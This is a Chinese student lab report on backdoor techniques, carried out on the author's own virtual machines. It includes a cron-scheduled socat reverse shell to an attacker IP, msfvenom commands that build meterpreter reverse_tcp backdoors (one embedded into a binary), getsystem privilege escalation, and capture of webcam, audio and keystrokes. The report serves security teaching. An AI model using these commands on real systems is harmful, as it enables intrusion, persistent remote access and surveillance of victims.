1.实验内容
掌握后门原理及免杀技术。
问题回答:
- 例举你能想到的一个后门进入到你系统中的可能方式?
回答:同一网络的其他计算机遭到攻击,后门通过网络绕过防火墙进入到我系统中。 - 例举你知道的后门如何启动起来(win及linux)的方式?
回答:Windows 系统:注册表启动项,计划任务,服务,启动文件夹;
Linux 系统:Cron 作业,SSH 公钥授权,系统服务,RC.Local 或 Init.d 脚本,替换系统工具。 - Meterpreter有哪些给你映像深刻的功能?
回答:灵活生成后门,注入恶意代码,进行提权这些功能都令我印象深刻,还有,启动时生成的字符画真挺炫。 - 如何发现自己有系统有没有被安装后门?
回答:可以通过杀软检测,分析网络流量,查看系统日志等。
2.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)本实验使用windows作为攻击机,kali虚拟机作为目标机,首先在windows攻击机上安装netcat,并查看攻击机ip,完成准备。
(2)在攻击机上监听端口。
(3)在目标机建立反向连接,获取Shell权限。
(4)已获取shell权限,接下来设置cron任务,选择代码* * * * * /usr/bin/touch /home/kali/桌面/file_$(date +\%Y\%m\%d_\%H\%M\%S).txt
,作用为每隔一分钟在目标机桌面上生成一个名称为当前时间的txt文本。
- 由于windows和linux转码问题,汉字“桌面”不能正常显示与传输,需要查看“桌面”的实际对应文字
- 修改代码为
* * * * * /usr/bin/touch /home/kali/妗岄潰/file_$(date +\%Y\%m\%d_\%H\%M\%S).txt
,并创建承载该代码的中间文件,并将其加载到crontab中
- 验证加载情况,并清除中间文件
(5)验证cron任务执行结果
2.使用socat获取主机操作Shell, 任务计划启动
(1)本实验同实验一几乎一致,但由于windows上不便安装socat,采用kali作为攻击机,另一台openEuler虚拟机作为目标机,查看攻击机ip。
(2)kali自带socat,使用socat在攻击机监听。
(3)在目标机建立反向连接,获取Shell权限。
(4)选择代码* * * * * socat TCP:192.168.215.132:6666 EXEC:/bin/bash
进行计划启动,即每隔一分钟发送一次shell到攻击机上,进行攻击
(5)验证cron任务执行结果:可以看见cron任务执行后,先前传输的指令依序得到执行
3.使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(1)本实验采用kali虚拟机,攻击win11目标机,首先查看攻击机ip。
(2)使用MSF生成后门,选择的生成语句为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f exe -o backdoor20232411.exe
。
(3)使用ncat传输后门程序。
(4)启动MSF监听。
(5)在windows上运行后门程序,等待攻击完成,然后用ls命令验证实验结果。
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(1)本实验同实验三步骤基本一致,但采用更复杂全面的后门程序,选择的生成语句为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f exe --platform windows -o advanced_backdoor20232411.exe
。
(2)使用ncat将后门程序传输到windows上,并在kali上启动MSF监听。
(3)在windows上运行后门程序,尝试获取目标主机音频、摄像头、击键记录。
- 音频:
- 摄像头:
- 击键记录:
(4)使用getsystem
指令尝试提权,可以看见提权成功。
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(1)本实验使用kali虚拟机进行自攻击,选用后门生成语句msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -x pwn1 -f elf > pwn20232411
,该语句将Meterpreter反向连接代码嵌入到pwn1中,并生成新的恶意后门pwn20232411。
(2)对后门程序pwn20232411进行提权,确保其有执行权限。
(3)进行MSF监听。
(4)运行后门程序,并验证实验结果。
3.问题及解决方案
- 问题1:无法使用
crontab -e
编写命令,编辑器不能正常加载 - 问题1解决方案:提前将cron任务代码写在一个文件中,并通过
crontab <文件名>
进行加载 - 问题2:代码
* * * * * /usr/bin/touch /home/kali/桌面/file_$(date +\%Y\%m\%d_\%H\%M\%S).txt
中“桌面”二字在kali中呈现乱码 - 问题2解决方案:这是转码问题,提前使用
pwd
命令查看kali中“桌面”二字在windows shell中的显示并替换,即* * * * * /usr/bin/touch /home/kali/妗岄潰/file_$(date +\%Y\%m\%d_\%H\%M\%S).txt
- 问题3:Kali虚拟机建立Meterpreter会话后,立刻关闭
- 问题3解决方案:经过多种途径寻找解决方案都无果,最终在毕悠尘同学的报告中找到同样的问题与解答,按照毕悠尘同学的方案更新了Metasploit框架及其所有依赖项解决
4.学习感悟、思考等
本次实验对我来说十分艰难,通过多方查找资料,与ai进行大量“谈心”,才勉强做出来。但这提高了我查找资料的经验,对后门也有了一个粗浅的认识。最后,这次实验虽然难,但真的很有意思。